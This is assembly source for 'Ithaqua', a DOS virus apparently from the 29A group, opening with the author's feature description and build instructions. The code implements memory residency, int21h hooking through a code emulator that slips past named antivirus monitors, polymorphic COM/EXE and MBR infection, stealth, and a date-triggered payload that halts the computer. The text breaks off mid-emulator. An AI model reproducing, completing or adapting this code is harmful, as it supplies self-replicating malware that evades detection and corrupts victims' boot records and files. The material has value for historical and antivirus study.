;                            .   .       .  .    .
;                           .:: .:.. .. .:.::. :.:.
;                       <<-=ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ==<
;                         .:ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ::.
;                        :: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:.
;                       .:..ÛÛÛÜÜÜÜ.ÜÜÜÜÛÛÛ.ÛÛÛ ÛÛÛ.::.:
;                     .:>===ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ==->> .
;                   ..: ::. . .:..Laboratories .:.. :.. ::..
;
;
;      Replicant name.............Ithaqua
;      Brain engineer.............Wintermute/29A
;      Model......................Advanced Nexus-6 Final Beta
;      Corporal type..............Unknown
;      Size.......................8543 celular units
;      Date of Birth..............28/9/1998
;      Date of Termination........Reserved
;
;
;                    Ithaqua replicant significative data
;                     ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;
;   Intruding technologies
;    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;   For entering into enemy or hostile systems, Ithaqua  has  an  unique
; feature; code emulating. This allows the owner to make a great variety
; of things, such as tracing the int21h to it's original  handler.  Many
; tests have been made with this,  evading  biocode  killers  and  other
; hostile  or  neutral  programs;  Virstop  ( F-prot ),  Vsafe,  Vshield
; ( McAfee ), TbDriver ( Tbav ),  Sentinel  ( Panda )...  Smartdrv,  and
; nearly any program that dares to handle int21h.
;
;   The code emulator is an advanced engine  about  2'7  Kb  long  which
; dissasembles and executes under control each instruction it  finds  on
; it's way to  int21h,  but  evading  at  the  same  time  antidebugging
; techniques and tricks. Some of the instructions are just  executed  at
; the "execution zone" in  the  code  with  special  security  measures,
; others are even more controlled by just emulating their efects (  this
; is so explained in the Arise Code Emulator article in this magazine )
;
;   When entering a system, first  of  all  the  engine  will  find  the
; original handler of int21h, aborting operation  if  not  found.  After
; that, it will handle with a far jmp  ( EAh XX XX XX XX )  one  of  the
; three first instructions on the int21h handler. This jump, of  course,
; is controlled by the replicant itself in order to let  other  programs
; access to int21h when needed and mantain it's own supremacy;  when  an
; int21h is called, the jump goes to the virus  code.  After  int21h  is
; restored and checks are  made,  it  traces  five  instructions  before
; recovering the jump, then replaces it.
;
;   Also, this jump is often changed  to  make  difficult  removing  the
; virus from memory. Each time int8h ( timer interrupt, non anulated  by
; a cli ) is made, it changes the jump among that 3 positions. Fixes are
; made for handling when special/weird conditions occur ( such as Dos in
; UMBs )
;
;
;   Autoreplicating technologies
;    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;   Ithaqua infects COM Appending/Inserting,  EXE cavity/appending,  and
; MBR on hard disks.
;
;   For COM infection, if there's EMS available and the file is  smaller
; than 32Kb, Ithaqua will load it and search a random 3-byte instruction
; among the first 255 ones to place the jump to it's code by using  it's
; code emulator, making the inserting infection same  as  stable  as  an
; appending one could be. Otherwise ( if there's no EMS or the  file  is
; bigger than 32kb ) it will infect by the old appending technique.
;
;   The EXE cavity infection isn't anything of special  interest  except
; it's cavity ;P. It will search for the same opcode ( no  matter  which
; one ) in the EXE file and if it's successful it will copy itself there
; and change the CS:IP in header. Just bored of making always  the  same
; infection method, not anything to really worth about.
;
;   File infection in EXE cavity and COM appending is polymorphic due to
; "RNME" ( Reconstructed Necromantic Mutation Engine ).  In the  basics,
; this is the engine I used in Zohra virus; maybe using tables as in the
; GROG engine ( the MBR poly in this virus ) I would save space, but who
; cares, then it won't be the RNME :-P. I reduced the decrypting  groups
; instructions and added some options, instructions and other  stuff  to
; make it even more polymorphic, as well as subroutine calls... (  well,
; AVP detected only 4% of the samples when the weekly update  for  Zohra
; was out, so there's something that worked  good  on  this  engine  and
; better if so strenghten up <g> ).
;
;   EXE appending infection is only made in two cases, where none of the
; others are performed. That is, when Windows95 is running,  or  in  the
; rare case that the code emulator failed. To prevent crashing  it  also
; uses an alternative int21h handler; it uses some of the routines  from
; the other infection code, but it's not compatible with them,  as  they
; use SFTs, etc, which don't exist in Win95. It's just that it's  better
; non-condemning Ithaqua to death when on Win95 as this operating system
; is probably the most... hum... "widespread" now.
;
;   MBR is done esentially to prevent user from booting out of the  hard
; disk with one of those clean diskettes; so this infection doesn't load
; the whole virus. It just waits for the real virus,  which  then  takes
; control of the int13h and kills the MBR module.  I  feel  more  secure
; getting int21h with my code emulator than with any other method :)
;
;   The MBR infection is polymorphic, due to my  "Gory  Ruthless  Opcode
; Generator", which is a new about 600  bytes  long  boot-oriented  poly
; engine, creating two encryption layers. The original MBR is  encrypted
; and stored in sector two; maybe the most interesting thing about  this
; poly  engine  is  that  it's  so  compact,  as  new  instructions   or
; instruction groups can be easily  added  to  make  a  new  polymorphic
; engine; also has some stack tricks that can only be  done  in  a  boot
; oriented engine.
;
;   The MBR infection check method is so simple; I was going to do  some
; CRC on it and save the byte in the end  before  the  55AAh,  but  it's
; easier just to call int13h; if the resident MBR stuff is there it will
; answer us, if not, it's not there :). When it's off, the virus will be
; in memory; if you disinstall it it will fuck up the MBR when trying to
; infect, but hey, it was your phucking fault :P
;
;
;   Self-concealing technology
;    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;   Ithaqua has the typical FCB/DTA stealth, plus  Windows  95  stealth,
; which is performed on 714eh and 714fh functions from int21h ( that is,
; for example, which Dos 7.0 use ).
;
;   The two polymorphic engines and encryption were described above.
;
;
;   Payload
;    ÄÄÄÄÄÄÄÙ
;
;   This time the payload is a video effect which is a  snow  effect  on
; some text about the virus name; it is activated  each  29th  of  April
; when the user executes the virus, and "halts the computer" :-P
;
;
;
;   Final comments
;    ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;   Yep, guys. This has reached  the  end.  I've  been  a  lot  of  time
; thinking about this painful decission, but I have no  chance  at  all.
; University is consuming all my spare time, and,  let's  face  it,  I'm
; getting a bit tired on this, as I'm all day working and I  just  can't
; continue as I was; this virus was a lot of months I'm afraid to count,
; and it shouldn't have wasted that amount of time on this one.
;
;   So, I'm leaving 29A, and I don't know if I'll leave virus writing; I
; can't continue writing more and more viruses and articles.
;
;   Anyway, I'll be around :), and by  this  moment  I'll  remain  as  a
; collaborator for 29A so if I have the  time  for  writing  stuff  I'll
; publish it here :).
;
;   And coming to the end,... 29A isn't only a bunch of people that send
; their viruses among them and publish 'em later; I've made friends  and
; known many people by this group, and by all my time as a virus writer.
; So, I dedicate this little child to all of them: to the 29A  Crew,  to
; all people that helped me to grow, and to the people I've  known  this
; fantastic years on virus writing. A great hug to all of ya, and see ya
; on IRC... :)
;
;
;
;   Assembly notes
;   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;   Tasm ithaqua.asm /m2
;   Tlink ithaqua.obj
;
;
;
;      ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;       Las grandes tristezas son as¡; se clavan tan hondo en el coraz¢n
;            que parecen perdidas y el mismo coraz¢n no las siente,
;                             con asombro nuestro.
;
;       Pero dura poco el enga¤o; est n bien clavadas para toda la vida.
;      Primero es llanto, quejas, rabia quiz ; despu‚s, es la resignaci¢n,
;                  una sonrisa, una sonrisa triste y dolorosa,
;                        como una herida abierta siempre.
;                           ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                             ( Jacinto Benavente )
;


.model tiny
.386
.code
org 00h


virus_starts label byte

Virus:

        push    ds
        pop     es
        pushf
        push    bp ax bx cx dx es ds si di              ; insertion

        mov     bp,0000h                                ; delta
BP_Init         equ     $-2
        mov     si,bp
        sub     si,((offset virus) - (offset we_r_there))
        push    si

        call    temp                ; Future crypt
Fut_Crypt       equ     $-2

        ret

encryption_starts label byte
encryption_length equ encryption_ends-encryption_starts

payload:

;        0                                             320
;        ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;        ³                                               ³
;        ³                                               ³
;        ³                                               ³
;        ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;        0+320*199                             320+320*199
;

        Start:

        in      al,40h
        mov     ah,al
        xor     word ptr cs:[random],ax

        mov     ax,0013h        ; Mode 13h
        int     10h

        push    0a000h          ; Begins in 0a000h
        pop     ds
        push    ds
        pop     es

        xor     di,di           ; Blank screen ( all = 0 )
        mov     cx,64000d
        xor     ax,ax
        rep     stosb

        mov     di,(320d*198d)  ; Final line
        mov     cx,640d
        mov     al,042d
        rep     stosb

        push    ds
        push    cs
        pop     ds
        mov     dx,0f03h        ; Write text
        mov     bx,5d
        mov     ah,2
        int     10h
        lea     si,VName
@write:
        lodsb
        or      al,al
        je      @dabaduba
        mov     ah,0eh
        int     10h
        jmp     @write
@dabaduba:
        pop     ds
@dabadaba:
        call    Create_Row      ; A new snowy row

        call    Move_Row        ; Moves a row one pixel below, checks all

        call    Retrace

        jmp     @dabadaba


Create_Row:
        mov     cx,8d
Randomize:
        call    Get_Random_NB
        mov     bx,320d
        xor     dx,dx
        div     bx                      ; Rest = AH
        mov     bx,dx

        mov     byte ptr ds:[bx],15d
        loop    Randomize

        ret

Get_Random_NB:
        mov     ax,word ptr cs:[random] ; Get Random
        not     ah
        neg     al
        xor     ax,0dcbah
Change_R equ $-2
        rol     ax,3d
        sub     word ptr cs:[Change_R],ax
        add     ax,word ptr cs:[Change_R]
        not     word ptr cs:[Change_R]
        add     ah,byte ptr cs:[random]
        sub     al,byte ptr cs:[random+1]
        xor     ax,word ptr cs:[Change_R]
        push    ds
        xor     bx,bx
        mov     ds,ax
        mov     bx,word ptr ds:[413h]
        pop     ds
        sub     word ptr cs:[Change_R],bx
        push    ax
        in      al,40h
        mov     dl,al
        pop     ax
        add     al,dl
        mov     word ptr cs:[random],ax
        ret

Move_Row:
        mov     si,64000d-320d
Check_Row:
        lodsb                       ; Backwards so it does not fuck up
        dec     si
        dec     si
        cmp     al,15d
        jz      @Not_Blank
        cmp     si,64000d;-320d
        jbe     Check_Row
        ret
@Not_Blank:
        cmp     byte ptr [si+321d],0
        mov     byte ptr [si+1],0
        jnz     Check_Side
        cmp     byte ptr [si+321d+320d],0
        jnz     @Just_Do_IT
        call    get_random_NB
        and     ax,01d
        jz      @Just_Do_IT
        call    get_random_NB
        xor     bp,bp
        cmp     byte ptr [si+321d+321d],0d      ; down 2, right +1
        jnz     @no_2abajoder
        inc     bp
@no_2abajoder:
        cmp     byte ptr [si+321d+319d],0d
        jnz     @@then_2abajo
        dec     bp
        jnz     @@then_izquierda2abajo
        and     ax,1
        jz      @@@2_derecha
@@then_izquierda2abajo:
        mov     byte ptr [si+321d+319d],15d
        jmp     Check_Row
@@then_2abajo:
        dec     bp
        jnz     @then_2abajo
@@@2_derecha:
        mov     byte ptr [si+321d+321d],15d
        jmp     Check_Row
@then_2abajo:
        mov     byte ptr [si+321d+320d],15d
        jmp     Check_Row
@Just_Do_IT:
        mov     byte ptr [si+321d],15d
        jmp     Check_Row
Check_Side:

        xor     bp,bp
        cmp     byte ptr [si+322d],0
        jnz     @Check_Left
        inc     bp
@Check_Left:
        cmp     byte ptr [si+320d],0
        jnz     @If_Right
        dec     bp
        jz      @Select_Side
        jmp     @If_Left
@Select_Side:
        call    Get_Random_NB
        and     al,1d
        jz      @Right_Yeah
@If_Left:
        mov     byte ptr [si+320d],15d
        jmp     Check_Row
@If_Right:
        dec     bp
        jz      @Right_Yeah
        mov     byte ptr [si+1],15d
        jmp     Check_Row

@Right_Yeah:
        mov     byte ptr [si+322d],15d
        jmp     Check_Row



Retrace:

        mov     dx,3dah         ; Delay till retrace
del1:   in      al,dx
        test    al,8
        jne     del1
del2:   in      al,dx
        test    al,8
        je      del2
        ret


random: dw      1234h


;       Here it starts the code after the payload.

we_r_there:

        mov     cl,11110000b
        push    es ds cs

        xor     ax,ax           ; Computer processor below 80286 ?
        push    ax
        popf
        pushf
        pop     ax
        and     ah,cl
        sub     ah,cl
        sub     cl,10000000b
        jz      @go_2_end

        push    7000h           ; 386+ required, don't hang 80286s
        popf
        pushf
        pop     ax
        and     ah,cl
        jnz     @@no_go_2_end
@go_2_end:
        jmp     finished_tsr
@@no_go_2_end:
        mov     esi,"_29A"          ; The virus makes two residence checks.
        mov     ax,0CACAh           ; If it's installed in memory by means
        int     21h                 ;of the int21h check, it will do nothing.
        cmp     esi,"RULZ"
        jz      @go_2_end

        sub     ah,05bh
        push    ax

        push    cs
        pop     dx
        mov     ax,offset @PollaGrandePaTuBoca
        add     ax,bp
        push    ax
        pop     cx
        mov     eax,"_POT"
        mov     word ptr cs:[_ss+bp],ss
        mov     word ptr cs:[_sp+bp],sp
        int     13h                 ; But if int21h isn't installed, maybe
                                    ;we've gotta check int13h.

@PollaGrandePaTuBoca:

        mov     ss,word ptr cs:[_ss+bp]
        mov     sp,word ptr cs:[_sp+bp]
        mov     byte ptr cs:[are_we_on_MBR+bp],0
        cmp     eax,"ALSO"
        pop     cx
        jnz     @Not_in_MBR
        inc     byte ptr cs:[are_we_on_MBR+bp]
@Not_in_MBR:
        mov     ax,0c001h
        adc     ax,03c57h
        jnc     @Not_in_MBR+1
        int     21h                     ; ax = 3508h

                                    ; Maybe we weren't

        mov     ah,52h
        mov     word ptr cs:[int8h+bp],bx
        mov     word ptr cs:[int8h+2+bp],es
        int     21h                     ; ah = 52h
        mov     al,'Z'
        mov     si,es:[bx-2]
        mov     ds,si

search_mcb:
        xor     al,byte ptr ds:[0]
        jz      gotda_mcb
        add     si,word ptr ds:[3]
        inc     si
        xor     al,byte ptr ds:[0]
        mov     ds,si
        jmp     search_mcb

gotda_mcb:
        mov     ax,word ptr ds:[3]
        cmp     ax,(virus_16b*2)+24h
        jbe     finished_tsr
@@@FIXTHIS:
        add     si,ax
        sub     si,(virus_16b*2)+23h
        mov     es,si

        xor     si,si
        xor     di,di
        mov     cx,16d
        rep     movsb

        sub     word ptr ds:[3],(virus_16b*2)+24h
        sub     word ptr ds:[12h],(virus_16b*2)+24h
        mov     word ptr es:[3],(virus_16b*2)+24h
        mov     byte ptr ds:[0],'M'

        mov     ax,es
        inc     ax
        mov     word ptr es:[1],ax      ;
        mov     es,ax
        xor     di,di
        mov     si,bp
        mov     cx,virus_size
        push    cs
        pop     ds
        rep     movsb                   ; To mem

        push    es
        push    offset Exec_mem
        retf
Exec_mem:
        push    bp
        xor     bp,bp

        mov     ah,02ah
        int     21h
        cmp     dx,041dh        ; 29th of April
        jz      Payload

        mov     ax,5d06h
        int     21h
        mov     word ptr cs:[Swap_seg],ds
        mov     word ptr cs:[Swap_off],si

;--------------

        xor     ax,ax
        push    ax
        call    fuck_the_rules
        pop     ds
        mov     eax,dword ptr ds:[0084h]        ; Int21h setting
        mov     dword ptr cs:[_ip],eax

        mov     word ptr cs:[_ds],cs
        mov     word ptr cs:[_es],cs
        mov     word ptr cs:[_ax],03000h
        mov     word ptr cs:[_usemode],0000h

        call    check_dos_version               ; Check if Win95 present
        jae     Adapt_W95

        call    Code_Emulator
        jc      Adapt_W95
        mov     dword ptr cs:[int21h],eax
        mov     dword ptr cs:[int21h_plural],eax
        mov     dword ptr cs:[jump_handle],eax
        mov     si,ax
        rol     eax,16d
        mov     ds,ax

        push    cs
        pop     es
        lea     di,saved21
        movsd
        movsb

        mov     byte ptr cs:[_HowMuch],5d   ; How much to trace

        mov     cx,2                ; Second&Third instructions on int21h

@@emulate_it_again_Sam:

        push    cx cx                       ;is there, the jump changing
        call    set_a_pair_values
        pop     bx
        shl     bx,2
        mov     dword ptr cs:[int21h_plural+bx],eax
        pop     cx
        dec     byte ptr cs:[_theresacall]
        jz      @@@Ifweloop
        mov     byte ptr cs:[_HowMuch],35d
@@@Ifweloop:
        loop    @@emulate_it_again_Sam

        call    set_a_pair_values
        dec     byte ptr cs:[_theresacall]
        jz      @I_do_rule
        mov     byte ptr cs:[_HowMuch],35d
@I_do_rule:

        push    cs
        pop     ds
        mov     ax,2508h        ; Handle int 08h
        lea     dx,handler22h
        int     21h
        cli
        call    rehandle
        sti
        jmp     Anyway_Inst

Adapt_W95:
        push    cs              ; W95 and int08h handling isn't cool :-D
        xor     ax,ax           ;well, and Sfts, and... O:)
        mov     ds,ax
        mov     eax,dword ptr ds:[0084h]
        pop     ds
        mov     dword ptr ds:[int21h],eax
        mov     dword ptr ds:[jump_handle],eax
        mov     word ptr ds:[int21h_plural],0

Adapt_W95_2:
        mov     ax,2521h
        lea     dx,Alternate_21_handler     ; Need alternative one
        int     21h

Anyway_Inst:

        pop     bx      ; Delta offset
        pop     es                  ; CS: on original host if not TSR
        push    es                  ;
        dec     byte ptr cs:[are_we_on_MBR]
        jz      @TheHardMenPath

        call    check_dos_version
        jae     @TheHardMenPath
        call    MBR_Infection
@TheHardMenPath:
        xor     bp,bp

finished_tsr:

        xor     ax,ax
        xor     bx,bx
        pop     ds
        xlat
        pop     ds es
        add     al,033h             ; Com file ?
        jz      com_normal


        mov     si,ds
        add     si,cs:word ptr [buffercom+0eh+bp]
        add     si,10h              ; Stack
        cli
        mov     ss,si
        mov     sp,cs:word ptr [buffercom+010h+bp]
        sti


        mov     si,ds                   ; And now we jump pushing
        add     si,cs:word ptr [cs_ip+bp+2] ; and with a retf to the
        add     si,10h                  ; old beggining of the host
        push    si
        push    cs:word ptr [cs_ip+bp]



        call    restore_originals

        retf


com_normal:

        push    cs
        pop     ds
        push    ss
        pop     es
        lea     si,[buffercom+bp]
        mov     di,word ptr ds:[ret_pos+bp]
        push    es di
        movsw
        movsb

        cli
        add     sp,4d
        pop     di si ds es dx cx bx ax bp
        popf
        sub     sp,24d
        sti

        retf    14h             ; Final SP adjust


restore_originals:

        xor     ax,ax           ; Zero registers
        mov     bx,ax
        mov     cx,ax
        cwd
        mov     si,ax
        ret


;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú--ú-
;                            CODE EMULATOR
;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú-úú-
;
;  The detail. The minimal thing. Explore. Discover. Understand. Ignore. Cry.
; Save yourself.
;

Code_Emulator:

        xor     cx,cx

get&exec_instruction:

        mov     byte ptr cs:[_pref],0   ; Segment Prefix Off
        push    cs                      ; Clean execution zone
        pop     es
        mov     al,90h
        lea     di,(execi-1)
        push    cx
        mov     cx,7
        rep     stosb
        pop     cx

@get&exec_part2:

        add     word ptr cs:[_ip],cx     ; Put the IP

        mov     al,byte ptr cs:[_usemode]; Two operating modes
        or      al,al
        jnz     @non_tracing_int
        cmp     word ptr cs:[_cs],300h   ; If segment <= 300h, we've got the
        jae     Seguiremos_adelante      ;int handler
ended:
        mov     eax,dword ptr cs:[_ip]  ; Carry off => All was fine
        clc
        ret

@infecting_inserting:

        mov     al,byte ptr cs:[_usemode+1]
        cmp     al,1
        jnz     @@@tempo
        cmp     cx,3
        jnb     @@@temp
        inc     byte ptr cs:[_usemode+1]
@@@temp:    jmp @@@tempo

@non_tracing_int:

        dec     al
        jnz     @infecting_inserting
@@@tempo:
        dec     byte ptr cs:[_usemode+1]    ; One instruction less
        jz      ended

Seguiremos_adelante:

        xor     ax,ax
        mov     ds,word ptr cs:[_cs]
        mov     si,word ptr cs:[_ip]
        push    ds si
        lodsb                       ; Loads instruction on ds:si

        push    cs
        pop     ds
        lea     si,offset_table

@denuevo1:

        cmp     al,40h          ; First opcode group
        jnb     @mayorde40
        and     al,00001111b
        add     al,50h
        jmp     @@mayorde40

@mayorde40:
        cmp     al,60h          ; All 40h-5fh are executables and 1 byte long
        jnb     @@mayorde40
        pop     si ds
        xor     cx,cx
        jmp     @bytes1

@@mayorde40:
        sub     al,50h          ; Correct table.

        add     si,ax           ; Offset is a word, so we'll have to add two
        add     si,ax           ;times the offset to jump to the right one:
                                ;once done, we just jump.

        xor     cx,cx
        lodsw

        pop     si ds
        jmp     ax

;-ú--ú-ú--ú-ú-ú--ú-ú-ú--úú-ú-úú-ú-ú--ú-ú-ú-úú-ú--ú--úú-úúú-ú-ú-ú-ú--ú-ú-ú--
;     Specific routines for non directly-executable instructions
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-ú--ú-ú--ú-ú--úú-ú-úúú-ú-úú-ú--ú-úú-ú-ú-ú

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Fixed instructions size
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@bytes6:    inc     cx
@bytes5:    inc     cx
@bytes4:    inc     cx
@bytes3:    inc     cx
@bytes2:    inc     cx
@bytes1:    inc     cx
@Ya_sumado_cx_var:

        push    cs
        pop     es
        lea     di,execi
        push    cx
        rep     movsb
        pop     cx
        jmp     ejecuci¢n

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú-
            ; 0FEh Opcode
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-ú

@0FEh:  lodsb                   ; It's interesting to see that so FEh has
        cmp     al,10h          ;many instructions with "byte ptr", some of
        jb      @Variable1      ;them ( 50% ) are incorrect; only INC/DEC
        cmp     al,40h          ;work
        jb      @wrongkind
        cmp     al,50h
        jb      @Variable1
        cmp     al,80h
        jb      @wrongkind
        cmp     al,90h
        jb      @Variable1
        cmp     al,0c0h
        jb      @wrongkind
        cmp     al,0d0h
        jb      @Variable1
        jmp     @wrongkind

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Invalid 8086 instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@wrongkind:             ; Invalid opcode

        stc
        ret         ; Return without getting place



            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Non-fixed instructions
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Variable3: inc     cx              ; Non-fixed length instructions
@Variable2: inc     cx
@Variable1: inc     cx

        inc     cx
        push    si
        lodsw
        cmp     ah,40h
        jnb     @fixedsup
        and     ah,00001111b
        cmp     ah,06h
        jz      @es6oevar
        cmp     ah,0eh
        jnz     @trapix_optimizado2
@es6oevar:
        inc     cx
@Trapix_optimizado:
        inc     cx
@Trapix_optimizado2:
        pop     si
        jmp     @Ya_sumado_cx_var
@fixedsup:
        cmp     ah,80h
        jb      @trapix_optimizado
        cmp     ah,0c0h
        jb      @es6oevar
        jmp     @Trapix_optimizado2


            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú-ú--ú-úú-ú-
            ; Direct stack pushes and instruction prefixes
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú--ú-ú--ú-ú-ú

@pushstack:
        lodsb
        dec     si
                    ; All Push or pops can be emulated by normal execution.
                    ;Only we've gotta emulate PUSH CS, cause we cannot
                    ;emulate that opcode.
        cmp     al,0eh
        jz      @PushCsKind
        cmp     al,20h          ;If it's a push
        jb      @bytes1

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Segment prefixes ( CS included )
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Prefix:

        mov     byte ptr cs:[_pref],al ; Segment prefix on
        push    ax
        lodsb
        inc     al
        pop     ax
        jz      @@OuttaPrefix
@@SigPrefix:
        cmp     al,2eh
        jnz     @@NotCsPrefix       ; Prefix isn't CS: ( this one has some
                                    ;special treatment )
        push    word ptr cs:[_ds]
        pop     word ptr cs:[_ds2]
        push    word ptr cs:[_cs]
        pop     word ptr cs:[_ds]
        mov     byte ptr cs:[_csflag],1
        mov     al,3eh              ; We make DS as Prefix and move CS to DS
                                    ;so we activate flag on _csflag. It will
                                    ;be checked and then got from _ds2,
                                    ;restoring at the end of the routine
                                    ;execution.

@@NotCsPrefix:
                        ; 26h (ES:), 36h (SS:), 3eh (DS:)
                        ; Repz/Repnz are also emulated here

        mov     byte ptr cs:[execi-1],al

@@OuttaPrefix:

        inc     cx
        jmp     @get&exec_part2


            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; PUSH CS instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@PushCsKind:        ; Push CS: We obtain ss:sp, decrease one word, it's on ES:
                    ; DI and the value is stored in that ss:sp, emulating.

        mov     ax,word ptr cs:[_cs]
        mov     es,word ptr cs:[_ss]
        sub     word ptr cs:[_sp],2
        mov     di,word ptr cs:[_sp]
        stosw

        inc     cx
        jmp     get&exec_instruction

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Instruction: RET [number]
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@RetNum:                ; The RET [num] order is exactly the same as Ret,
                        ;although it adds SP the number stored in [num]

        call    @Ret_subroutine_1

@Subr_Add_Opcode:

        inc     si
        lodsw
        add     word ptr cs:[_sp],ax        ; A¤adimos ese n£mero.
@@Ret_Return:
        jmp     get&exec_instruction

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Ret instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@RetKind:

        push    offset @@Ret_Return

@Ret_subroutine_1:

        mov     es,word ptr cs:[_ss]
        mov     di,word ptr cs:[_sp]
        push    word ptr es:[di]
        add     word ptr cs:[_sp],2
        pop     word ptr cs:[_ip]
        ret

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; RETF instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-


@RetfKind:

        push    offset @@Ret_Return

@Ret_subroutine_2:

        mov     es,word ptr cs:[_ss]
        mov     di,word ptr cs:[_sp]
        push    word ptr es:[di+2]
        push    word ptr es:[di]
        add     word ptr cs:[_sp],4
        pop     word ptr cs:[_ip]
        pop     word ptr cs:[_cs]
        ret

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; RETF [num] instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-


@RetfNum:

        call    @Ret_subroutine_2
        jmp     @Subr_Add_Opcode

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Interrupt calls
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Interrupt:     ; It's an interrupt call: it won't be executed, but the
                ;emulator will return a CLC, as if nothing bad happened
                ;with it O:)

        inc     cx
        inc     cx
        mov     byte ptr cs:[execi],0f8h
        jmp     ejecuci¢n

@Iretkind:      ; *-*

        call    @Ret_subroutine_2
        add     word ptr cs:[_sp],2
        mov     ax,word ptr es:[di+4]
        mov     word ptr cs:[_flags],ax
        jmp     get&exec_instruction

@getflags:
        push    word ptr cs:[_flags]
        popf
        ret

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; LOOPZ instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Mloopz:
        dec     word ptr cs:[_cx]           ; LOOPZ will make Loop if zero
        push    word ptr cs:[_flags]        ;flag is on, and Decs Cx
        popf
        jnz     @@FinalLoop
        jmp     @Njmp

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; LOOP & LOOPNZ instructions
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Mloop:
        dec     word ptr cs:[_cx]
        jz      @@FinalLoop
        jmp     @Njmp
@@FinalLoop:
        inc     cx
        inc     cx
        jmp     get&exec_instruction

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; short CALL instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Scall:

        inc     byte ptr cs:[_theresacall]
        mov     ax,word ptr cs:[_ip]
        add     ax,3
        push    ax
        add     ax,word ptr [si+1]
        mov     word ptr cs:[_ip],ax
        pop     ax
        mov     es,word ptr cs:[_ss]
        sub     word ptr cs:[_sp],2
        mov     di,word ptr cs:[_sp]
        stosw
        jmp     get&exec_instruction

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; FAR CALL instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Fcall:

        inc     byte ptr cs:[_theresacall]
        inc     si
        push    si
        mov     es,word ptr cs:[_ss]
        sub     word ptr cs:[_sp],4
        mov     di,word ptr cs:[_sp]
        movsd
        pop     si
        push    cs
        pop     es
        lea     di,[_ip]
        movsd

        jmp     get&exec_instruction


            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; Short IP jump...
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

